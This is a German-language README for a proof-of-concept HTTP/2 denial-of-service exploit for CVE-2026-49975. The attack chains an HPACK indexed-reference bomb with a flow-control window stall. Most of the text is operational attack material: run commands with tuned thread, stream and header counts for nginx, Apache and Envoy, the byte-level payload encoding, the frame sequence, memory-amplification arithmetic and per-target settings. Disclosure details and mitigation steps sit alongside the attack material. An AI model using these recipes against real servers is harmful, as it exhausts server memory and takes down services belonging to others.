
HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK-Indexreferenz-Bombe + Flow-Control-Stillstand)
Proof-of-Concept-Exploit für CVE-2026-49975, eine Remote-Denial-of-Service-Schwachstelle in HTTP/2-Serverimplementierungen. Entdeckt von Quang Luong (Calif Security Research), offengelegt am 2. Juni 2026.
Nur für autorisierte Sicherheitstests. Verwenden Sie es nicht gegen Infrastruktur, die Ihnen nicht gehört oder für die Sie keine schriftliche Genehmigung zum Testen haben.
Der Angriff verkettet zwei HTTP/2-Protokollmechanismen:
1. HPACK-Bombe mit indizierten Referenzen
HPACK (RFC 7541) ermöglicht es Sendern, zuvor gesehene Header per Index zu referenzieren — normalerweise ein Byte. Der Exploit fügt einmalig einen nahezu leeren Header in die dynamische Tabelle ein und referenziert ihn dann tausende Male. Jede 1-Byte-Referenz auf der Leitung zwingt den Server, etwa 70 Bytes internen Verwaltungsaufwand pro Eintrag zu allokieren. Da keine großen Werte beteiligt sind, greifen die Limits für die „max decoded header size“ nie.
2. Stillstand des HTTP/2-Flusskontrollfensters
Indem der Angreifer ein Empfangsfenster von null Bytes ankündigt, verhindert er, dass der Server seine Antwort sendet oder Speicher freigibt. Periodische 1-Byte-WINDOW_UPDATE-Frames setzen den Sende-Timeout des Servers zurück und halten die Allokationen aufrecht, solange die Verbindung geöffnet ist.
Ergebnis: ~16 KB pro Stream gesendet → ~1,15 MB Server-RAM pro Stream, allokiert und gehalten.
Keine Abhängigkeiten — nur die Standardbibliothek.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — auf 1.29.8+ aktualisieren und Folgendes hinzufügen:
http2 max_headers 1000;
Oder HTTP/2 vollständig deaktivieren:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — mod_http2 auf v2.0.41+ aktualisieren. Zwischenlösung: Protocols http/1.1
IIS / Envoy / Pingora — zum Zeitpunkt der Erstellung ist kein Patch verfügbar. HTTP/2 deaktivieren oder einen gepatchten Proxy vorschalten.
Allgemein (alle Server):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| Datei | Beschreibung |
|---|---|
exploit-test.py | Haupt-PoC — Multi-Stream, kontinuierliche Wiederverbindung, nginx- und Classic-Modi |
SECURITY-REPORT-MIST.md | Autorisierter Bewertungsbericht für mist.ac.bd |
LICENSE | MIT |
| Server | Verstärkung | Demo-Auswirkung | Status |
|---|
| Envoy 1.37.2 | ~5.700:1 | 32 GB in ~10 s | Kein Patch zum Zeitpunkt der Offenlegung |
| Apache httpd 2.4.67 | ~4.000:1 | 32 GB in ~18 s | Behoben in mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 GB in ~45 s | Behoben in nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB in ~45 s | Kein Patch zum Zeitpunkt der Offenlegung |
| Cloudflare Pingora | ~68:1 | — | Kein Patch zum Zeitpunkt der Offenlegung |
| Flag | Standard | Beschreibung |
|---|
target | — | Hostname oder IP |
port | 443 | TCP-Port |
--threads | 1 | Parallele Verbindungen (jede verbindet sich nach dem Schließen neu) |
--streams | 10 | HTTP/2-Streams pro Verbindung |
--headers | 5000 | HPACK-indizierte Referenzen pro Stream |
--mode | nginx | nginx (Verwaltungsaufwand, 70:1) oder classic (großer Wert, 4000:1) |
--no-ssl | off | TLS deaktivieren (h2c) |
| Ziel | Modus | --headers | Hinweise |
|---|
| nginx < 1.29.8 | nginx | 16374 | Bleibt innerhalb des Standardwerts http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Cookie-Crumb-Technik |
| Envoy | classic | 32000 | Hohe Verstärkung |